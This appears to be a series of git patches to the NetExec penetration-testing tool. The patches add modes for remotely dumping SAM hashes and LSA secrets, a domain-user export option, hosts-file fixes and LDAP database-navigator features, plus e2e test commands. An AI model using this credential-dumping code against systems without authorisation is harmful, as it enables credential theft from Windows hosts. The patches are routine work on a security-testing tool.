remote_ops.finish(): {e}") + + if self.args.sam == "secdump": + SAM.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping SAM. This is likely due to an endpoint protection.') @@ -1799,7 +1813,7 @@ class smb(connection): @requires_admin def lsa(self): try: - self.enable_remoteops(regsecret=True) + self.enable_remoteops(regsecret=True if self.args.lsa == "regdump" else False) def add_lsa_secret(secret): add_lsa_secret.secrets += 1 @@ -1818,11 +1832,20 @@ class smb(connection): add_lsa_secret.secrets = 0 if self.remote_ops and self.bootkey: - LSA = LSASecrets( - self.bootkey, - self.remote_ops, - perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), - ) + if self.args.lsa == "regdump": + LSA = RegSecretsLSASecrets( + self.bootkey, + self.remote_ops, + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), + ) + else: + SECURITYFileName = self.remote_ops.saveSECURITY() + LSA = LSASecrets( + SECURITYFileName, + self.bootkey, + isRemote=True, + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), + ) self.logger.success("Dumping LSA secrets") LSA.dumpCachedHashes() LSA.exportCached(self.output_filename) @@ -1833,6 +1856,8 @@ class smb(connection): self.remote_ops.finish() except Exception as e: self.logger.debug(f"Error calling remote_ops.finish(): {e}") + if self.args.lsa == "secdump": + LSA.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping LSA. This is likely due to an endpoint protection.') diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 7cb84c8e..389e11ee 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -25,8 +25,8 @@ def proto_args(parser, parents): self_delegate_arg.make_required = [delegate_arg] cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") - cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") - cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") + cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump SAM hashes from target systems") + cred_gathering_group.add_argument("--lsa", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump LSA secrets from target systems") cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method") cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems") From 613fd5e48e485f1c95c2ee882d2dc30f1d64c704 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sat, 15 Mar 2025 23:00:40 +0100 Subject: [PATCH 348/376] fix ruff --- nxc/protocols/smb.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index a1fa10c6..77398e7b 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1552,7 +1552,7 @@ class smb(connection): @requires_admin def sam(self): try: - self.enable_remoteops(regsecret=True if self.args.sam == "regdump" else False) + self.enable_remoteops(regsecret=self.args.sam == "regdump") host_id = self.db.get_hosts(filter_term=self.host)[0][0] def add_sam_hash(sam_hash, host_id): @@ -1813,7 +1813,7 @@ class smb(connection): @requires_admin def lsa(self): try: - self.enable_remoteops(regsecret=True if self.args.lsa == "regdump" else False) + self.enable_remoteops(regsecret=self.args.lsa == "regdump") def add_lsa_secret(secret): add_lsa_secret.secrets += 1 @@ -1843,6 +1843,7 @@ class smb(connection): LSA = LSASecrets( SECURITYFileName, self.bootkey, + self.remote_ops, isRemote=True, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), ) From 0acdbbe3457e833dcb0021d163419b18a30bc3bb Mon Sep 17 00:00:00 2001 From: haytehcy Date: Sat, 15 Mar 2025 23:20:29 +0000 Subject: [PATCH 349/376] Added Users Export --- nxc/protocols/ldap.py | 12 +++++++++++- nxc/protocols/ldap/proto_args.py | 1 + nxc/protocols/smb.py | 3 +++ nxc/protocols/smb/proto_args.py | 1 + nxc/protocols/smb/samruser.py | 22 +++++++++++++++------- 5 files changed, 31 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 71580000..413185c8 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -653,7 +653,7 @@ class ldap(connection): ------- None """ - if len(self.args.users) > 0: + if self.args.users is not None: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: @@ -663,6 +663,7 @@ class ldap(connection): # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] resp = self.search(search_filter, request_attributes, sizeLimit=0) + users = [] if resp: resp_parse = parse_result_attributes(resp) @@ -677,6 +678,15 @@ class ldap(connection): # We default attributes to blank strings if they don't exist in the dict self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") + users.append(user.get('sAMAccountName', '')) + if self.args.users_export is not None: + self.logger.display(f"Writing {len(resp_parse):d} local users to {self.args.users_export}") + with open(self.args.users_export, "w+") as file: + for user in users: + file.write(f"{user}\n") + + def users_export(self): + self.users() def groups(self): # Building the search filter diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 0dc21126..ecf73980 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -22,6 +22,7 @@ def proto_args(parser, parents): vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD") vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users") + vgroup.add_argument("--users-export", help="Output domain users to a file") vgroup.add_argument("--groups", nargs="?", const="", help="Enumerate domain groups, if a group is specified than its members are enumerated") vgroup.add_argument("--computers", action="store_true", help="Enumerate domain computers") vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers") diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 41141b6a..f83252ae 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1283,6 +1283,9 @@ class smb(connection): self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") return UserSamrDump(self).dump(self.args.users) + def users_export(self): + return UserSamrDump(self).dump(self.args.users) + def computers(self): self.logger.fail("[REMOVED] Arg moved to the ldap protocol") return diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 7cb84c8e..6799d670 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -46,6 +46,7 @@ def proto_args(parser, parents): mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex") mapping_enum_group.add_argument("--loggedon-users", nargs="?", const="", help="Enumerate logged on users, if a user is specified than a regex filter is applied.") mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="Enumerate domain users, if a user is specified than only its information is queried.") + mapping_enum_group.add_argument("--users-export", help="Output domain users to a file") mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="Enumerate domain groups, if a group is specified than its members are Enumerated") mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="Enumerate computer users") mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="Enumerate local groups, if a group is specified then its members are Enumerated") diff --git a/nxc/protocols/smb/samruser.py b/nxc/protocols/smb/samruser.py index 0d1ef8e2..33a769b8 100644 --- a/nxc/protocols/smb/samruser.py +++ b/nxc/protocols/smb/samruser.py @@ -41,7 +41,7 @@ class UserSamrDump: if self.password is None: self.password = "" - def dump(self, requested_users=None): + def dump(self, requested_users=None, users_export=None): # Try all requested protocols until one works. for protocol in self.protocols: try: @@ -53,16 +53,17 @@ class UserSamrDump: self.logger.debug(f"Trying protocol {protocol}") self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host) try: - self.fetch_users(requested_users) + self.fetch_users(requested_users, users_export) break except Exception as e: self.logger.debug(f"Connection with protocol {protocol} failed: {e}") return self.users - def fetch_users(self, requested_users): + def fetch_users(self, requested_users, users_export): self.dce = DCERPC_v5(self.rpc_transport) self.dce.connect() self.dce.bind(samr.MSRPC_UUID_SAMR) + users = [] # Setup Connection resp = samr.hSamrConnect2(self.dce) @@ -129,17 +130,22 @@ class UserSamrDump: rids = [r["RelativeId"] for r in enumerate_users_resp["Buffer"]["Buffer"]] self.logger.debug(f"Full domain RIDs retrieved: {rids}") users = self.get_user_info(domain_handle, rids) - # set these for the while loop enumerationContext = enumerate_users_resp["EnumerationContext"] status = enumerate_users_resp["ErrorCode"] - self.logger.display(f"Enumerated {users:d} local users: {domain_name}") + + self.logger.display(f"Enumerated {len(users):d} local users: {domain_name}") + self.logger.display(f"Writing {len(users):d} local users to {users_export}") + if users_export: + with open(users_export, "w+") as file: + for user in users: + file.write(f"{user}\n") self.dce.disconnect() def get_user_info(self, domain_handle, user_ids): self.logger.debug(f"Getting user info for users: {user_ids}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") - users = 0 + users = [] for user in user_ids: self.logger.debug(f"Calling hSamrOpenUser for RID {user}") @@ -162,9 +168,11 @@ class UserSamrDump: last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"]) if last_pw_set == "1601-01-01 00:00:00": last_pw_set = "" - users += + 1 + users.append(user_name) self.logger.highlight(f"{user_name:<30}{last_pw_set:<20}{bad_pwd_count:<8}{user_description} ") samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"]) + + return users def old_large_int_to_datetime(large_int): From d6600d5f7c38dceef5700271346e991e780ffca3 Mon Sep 17 00:00:00 2001 From: haytehcy Date: Sat, 15 Mar 2025 23:36:12 +0000 Subject: [PATCH 350/376] Minor tweak/fixes --- nxc/protocols/smb.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index f83252ae..b3b4b217 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1279,12 +1279,12 @@ class smb(connection): return def users(self): - if len(self.args.users) > 0: + if self.args.users is not None: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") - return UserSamrDump(self).dump(self.args.users) + return UserSamrDump(self).dump(requested_users=self.args.users) def users_export(self): - return UserSamrDump(self).dump(self.args.users) + return UserSamrDump(self).dump(users_export=self.args.users_export) def computers(self): self.logger.fail("[REMOVED] Arg moved to the ldap protocol") From 1145cfe15f360de45a5345d855d666c0583ad6a6 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 15 Mar 2025 20:02:38 -0400 Subject: [PATCH 351/376] Make bool check a bit more explicit --- nxc/protocols/smb.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 42bcd24a..4ddf0738 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1545,7 +1545,7 @@ class smb(connection): @requires_admin def sam(self): try: - self.enable_remoteops(regsecret=self.args.sam == "regdump") + self.enable_remoteops(regsecret=(self.args.sam == "regdump")) host_id = self.db.get_hosts(filter_term=self.host)[0][0] def add_sam_hash(sam_hash, host_id): @@ -1806,7 +1806,7 @@ class smb(connection): @requires_admin def lsa(self): try: - self.enable_remoteops(regsecret=self.args.lsa == "regdump") + self.enable_remoteops(regsecret=(self.args.lsa == "regdump")) def add_lsa_secret(secret): add_lsa_secret.secrets += 1 From 8a35848474523f5fa61735ff4dac43fec478a288 Mon Sep 17 00:00:00 2001 From: haytehcy Date: Sun, 16 Mar 2025 07:32:21 +0000 Subject: [PATCH 352/376] Minor tweak/fixes to output users --- nxc/protocols/smb/samruser.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/protocols/smb/samruser.py b/nxc/protocols/smb/samruser.py index 33a769b8..467d3a7f 100644 --- a/nxc/protocols/smb/samruser.py +++ b/nxc/protocols/smb/samruser.py @@ -130,6 +130,7 @@ class UserSamrDump: rids = [r["RelativeId"] for r in enumerate_users_resp["Buffer"]["Buffer"]] self.logger.debug(f"Full domain RIDs retrieved: {rids}") users = self.get_user_info(domain_handle, rids) + # set these for the while loop enumerationContext = enumerate_users_resp["EnumerationContext"] status = enumerate_users_resp["ErrorCode"] @@ -171,8 +172,6 @@ class UserSamrDump: users.append(user_name) self.logger.highlight(f"{user_name:<30}{last_pw_set:<20}{bad_pwd_count:<8}{user_description} ") samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"]) - - return users def old_large_int_to_datetime(large_int): From 7d8d1dbd2dd98bb7cc9af5827748ba999732ad2d Mon Sep 17 00:00:00 2001 From: haytehcy Date: Sun, 16 Mar 2025 17:19:29 +0000 Subject: [PATCH 353/376] Changed writelines to write on new lines --- nxc/protocols/ldap.py | 5 ++--- nxc/protocols/smb/samruser.py | 4 ++-- tests/e2e_commands.txt | 3 ++- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 413185c8..b985dfbe 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -678,12 +678,11 @@ class ldap(connection): # We default attributes to blank strings if they don't exist in the dict self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") - users.append(user.get('sAMAccountName', '')) + users.append(user.get("sAMAccountName", "")) if self.args.users_export is not None: self.logger.display(f"Writing {len(resp_parse):d} local users to {self.args.users_export}") with open(self.args.users_export, "w+") as file: - for user in users: - file.write(f"{user}\n") + file.writelines(f"{user}\n" for user in users) def users_export(self): self.users() diff --git a/nxc/protocols/smb/samruser.py b/nxc/protocols/smb/samruser.py index 467d3a7f..fe1af41d 100644 --- a/nxc/protocols/smb/samruser.py +++ b/nxc/protocols/smb/samruser.py @@ -139,8 +139,7 @@ class UserSamrDump: self.logger.display(f"Writing {len(users):d} local users to {users_export}") if users_export: with open(users_export, "w+") as file: - for user in users: - file.write(f"{user}\n") + file.writelines(f"{user}\n" for user in users) self.dce.disconnect() def get_user_info(self, domain_handle, user_ids): @@ -174,6 +173,7 @@ class UserSamrDump: samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"]) return users + def old_large_int_to_datetime(large_int): combined = (large_int["HighPart"] << 32) | large_int["LowPart"] timestamp_seconds = combined / 10**7 diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 0c6250bb..81a3aec4 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -11,9 +11,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares -- netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --disks netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sessions netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --loggedon-users netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users-export /tmp/userlistOutputFilename.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --computers netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-brute netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-groups @@ -180,6 +180,7 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocke ##### LDAP netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users-export /tmp/userlistOutputFilename.txt netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-sid netexec ldap TARGET_HOST -u LOGIN_USERNAME -p '' --asreproast /tmp/output.txt From 7723e74b30c73ee6e9a5e83b371a1872e4965754 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 17 Mar 2025 15:40:56 +0100 Subject: [PATCH 354/376] fix 0x_df issue with hosts file --- nxc/protocols/smb.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index a471c52b..bbb0fcef 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -330,8 +330,8 @@ class smb(connection): if self.args.generate_hosts_file: with open(self.args.generate_hosts_file, "a+") as host_file: - host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}\n") - self.logger.debug(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}") + host_file.write(f"{self.host} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''} {self.hostname}\n") + self.logger.debug(f"{self.host} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''} {self.hostname}") elif self.args.generate_krb5_file and isdc: with open(self.args.generate_krb5_file, "w+") as host_file: data = f""" From 450f1b2a891a9689d0f7d042bc1b31c2ab57372f Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 17 Mar 2025 15:51:34 +0100 Subject: [PATCH 355/376] fix extra space --- nxc/protocols/smb.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index bbb0fcef..a536624d 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -330,8 +330,8 @@ class smb(connection): if self.args.generate_hosts_file: with open(self.args.generate_hosts_file, "a+") as host_file: - host_file.write(f"{self.host} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''} {self.hostname}\n") - self.logger.debug(f"{self.host} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''} {self.hostname}") + host_file.write(f"{self.host} {self.hostname}.{self.targetDomain}{self.targetDomain if isdc else ''} {self.hostname}\n") + self.logger.debug(f"{self.host} {self.hostname}.{self.targetDomain}{self.targetDomain if isdc else ''} {self.hostname}") elif self.args.generate_krb5_file and isdc: with open(self.args.generate_krb5_file, "w+") as host_file: data = f""" From 0f1c2f933b9efd31ec92cfb95fc9d1734e66b854 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 17 Mar 2025 15:55:33 +0100 Subject: [PATCH 356/376] fix extra space --- nxc/protocols/smb.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index a536624d..6fa7b6f3 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -330,8 +330,9 @@ class smb(connection): if self.args.generate_hosts_file: with open(self.args.generate_hosts_file, "a+") as host_file: - host_file.write(f"{self.host} {self.hostname}.{self.targetDomain}{self.targetDomain if isdc else ''} {self.hostname}\n") - self.logger.debug(f"{self.host} {self.hostname}.{self.targetDomain}{self.targetDomain if isdc else ''} {self.hostname}") + dc_part = f" {self.targetDomain}" if isdc else "" + host_file.write(f"{self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}\n") + self.logger.debug(f"{self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}") elif self.args.generate_krb5_file and isdc: with open(self.args.generate_krb5_file, "w+") as host_file: data = f""" From 87c223ed5eedb5ca28b39588d44204b438df7e91 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 17 Mar 2025 19:03:32 +0100 Subject: [PATCH 357/376] Add information if ntlm disabled --- nxc/protocols/smb.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 6fa7b6f3..b77e8769 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -316,7 +316,8 @@ class smb(connection): def print_host_info(self): signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) - self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") + ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" + self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}) {ntlm}") if self.args.generate_hosts_file or self.args.generate_krb5_file: from impacket.dcerpc.v5 import nrpc, epm From 3fa2c746d63a02c3bc960cbd0cb03ecf8da29a76 Mon Sep 17 00:00:00 2001 From: jdholtz Date: Tue, 18 Mar 2025 16:47:12 -0700 Subject: [PATCH 358/376] Silently handle connection timed out during LDAP scan --- nxc/protocols/ldap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index d298d59b..b143e0e1 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -3,7 +3,7 @@ import hashlib import hmac import os -from errno import EHOSTUNREACH +from errno import EHOSTUNREACH, ETIMEDOUT from binascii import hexlify from datetime import datetime from re import sub, I @@ -211,7 +211,7 @@ class ldap(connection): self.logger.debug(f"{e} on host {self.host}") return False except OSError as e: - if e.errno == EHOSTUNREACH: + if e.errno in (EHOSTUNREACH, ETIMEDOUT): self.logger.info(f"Error connecting to {self.host} - {e}") return False else: From 0aeb105bd808378768064e12d5c90e7dbbd6e264 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 19 Mar 2025 10:49:33 -0400 Subject: [PATCH 359/376] Add ENETUNREACH if the targeted network is not reachable --- nxc/protocols/ldap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index b143e0e1..e076256d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -3,7 +3,7 @@ import hashlib import hmac import os -from errno import EHOSTUNREACH, ETIMEDOUT +from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH from binascii import hexlify from datetime import datetime from re import sub, I @@ -211,7 +211,7 @@ class ldap(connection): self.logger.debug(f"{e} on host {self.host}") return False except OSError as e: - if e.errno in (EHOSTUNREACH, ETIMEDOUT): + if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT): self.logger.info(f"Error connecting to {self.host} - {e}") return False else: From f4fa975d36b309d59e3ffe6ad85e2572febc4a56 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Wed, 19 Mar 2025 16:19:02 -0400 Subject: [PATCH 360/376] fix: check if the table uses ip or host for hosts before adding --- nxc/database.py | 23 ++++++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) diff --git a/nxc/database.py b/nxc/database.py index 23b7a0f3..023288f1 100644 --- a/nxc/database.py +++ b/nxc/database.py @@ -112,15 +112,32 @@ def initialize_db(): init_protocol_dbs("default") def format_host_query(q, filter_term, HostsTable): - # one annoying thing is that if you search for an ip such as '10.10.10.5', it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first + """One annoying thing is that if you search for an ip such as '10.10.10.5', + it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first + """ + # the FTP and SSH protocols call the column host instead of IP + # TODO: normalize these column names + if hasattr(HostsTable.c, "ip"): + ip_column = HostsTable.c.ip + nxc_logger.debug("Using 'ip' column for filtering") + elif hasattr(HostsTable.c, "host"): + ip_column = HostsTable.c.host + nxc_logger.debug("Using 'host' column for filtering") + else: + nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table") + return q + + # first we check if its an ip address try: ipaddress.ip_address(filter_term) nxc_logger.debug(f"filter_term is an IP address: {filter_term}") - q = q.filter(HostsTable.c.ip == filter_term) + q = q.filter(ip_column == filter_term) except ValueError: nxc_logger.debug(f"filter_term is not an IP address: {filter_term}") like_term = func.lower(f"%{filter_term}%") - q = q.filter(HostsTable.c.ip.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) + + # check if the hostname column exists for hostname searching + q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term)) return q From 6b0cfcdea8b173ad5f0fa4e0169ce41ed8ccfef8 Mon Sep 17 00:00:00 2001 From: lap1nou Date: Sat, 22 Mar 2025 17:20:23 +0100 Subject: [PATCH 361/376] Added db_navigator stuff --- nxc/protocols/ldap/database.py | 42 ++++++- nxc/protocols/ldap/db_navigator.py | 178 ++++++++++++++++++++++++++++- 2 files changed, 216 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap/database.py b/nxc/protocols/ldap/database.py index 1062db39..ddc7dd9f 100644 --- a/nxc/protocols/ldap/database.py +++ b/nxc/protocols/ldap/database.py @@ -1,13 +1,13 @@ import sys -from sqlalchemy import func, Table, select +from sqlalchemy import func, Table, select, delete from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import ( NoInspectionAvailable, NoSuchTableError, ) -from nxc.database import BaseDB +from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger class database(BaseDB): @@ -166,6 +166,14 @@ class database(BaseDB): self.db_execute(q_groups, groups) + def remove_credentials(self, creds_id): + """Removes a credential ID from the database""" + del_hosts = [] + for cred_id in creds_id: + q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id) + del_hosts.append(q) + self.db_execute(q) + def is_credential_valid(self, credential_id): """Check if this credential ID is valid.""" q = select(self.UsersTable).filter( @@ -200,4 +208,32 @@ class database(BaseDB): self.UsersTable.c.credtype == cred_type, ) results = self.db_execute(q).first() - return results.id \ No newline at end of file + return results.id + + def get_hosts(self, filter_term=None, domain=None): + """Return hosts from the database.""" + q = select(self.HostsTable) + + # if we're returning a single host by ID + if self.is_host_valid(filter_term): + q = q.filter(self.HostsTable.c.id == filter_term) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif filter_term is not None and filter_term.startswith("domain"): + domain = filter_term.split()[1] + like_term = func.lower(f"%{domain}%") + q = q.filter(self.HostsTable.c.domain.like(like_term)) + # if we're filtering by ip/hostname + elif filter_term and filter_term != "": + q = format_host_query(q, filter_term, self.HostsTable) + + results = self.db_execute(q).all() + nxc_logger.debug(f"ldap hosts() - results: {results}") + return results + + def is_host_valid(self, host_id): + """Check if this host ID is valid.""" + q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) + results = self.db_execute(q).all() + return len(results) > 0 \ No newline at end of file diff --git a/nxc/protocols/ldap/db_navigator.py b/nxc/protocols/ldap/db_navigator.py index c712309b..18a02be3 100644 --- a/nxc/protocols/ldap/db_navigator.py +++ b/nxc/protocols/ldap/db_navigator.py @@ -1,7 +1,183 @@ -from nxc.nxcdb import DatabaseNavigator, print_help +from nxc.helpers.misc import validate_ntlm +from nxc.nxcdb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): + def display_hosts(self, hosts): + data = [ + [ + "HostID", + "IP", + "Hostname", + "Domain", + "OS" + ] + ] + + for host in hosts: + host_id = host[0] + ip = host[1] + hostname = host[2] + domain = host[3] + + try: + os = host[4].decode() + except Exception: + os = host[4] + + data.append( + [ + host_id, + ip, + hostname, + domain, + os + ] + ) + print_table(data, title="Hosts") + + def do_hosts(self, line): + filter_term = line.strip() + + if filter_term == "": + hosts = self.db.get_hosts() + self.display_hosts(hosts) + else: + hosts = self.db.get_hosts(filter_term=filter_term) + + if len(hosts) > 1: + self.display_hosts(hosts) + elif len(hosts) == 1: + data = [ + [ + "HostID", + "IP", + "Hostname", + "Domain", + "OS" + ] + ] + host_id_list = [] + + for host in hosts: + host_id = host[0] + host_id_list.append(host_id) + ip = host[1] + hostname = host[2] + domain = host[3] + + try: + os = host[4].decode() + except Exception: + os = host[4] + + data.append( + [ + host_id, + ip, 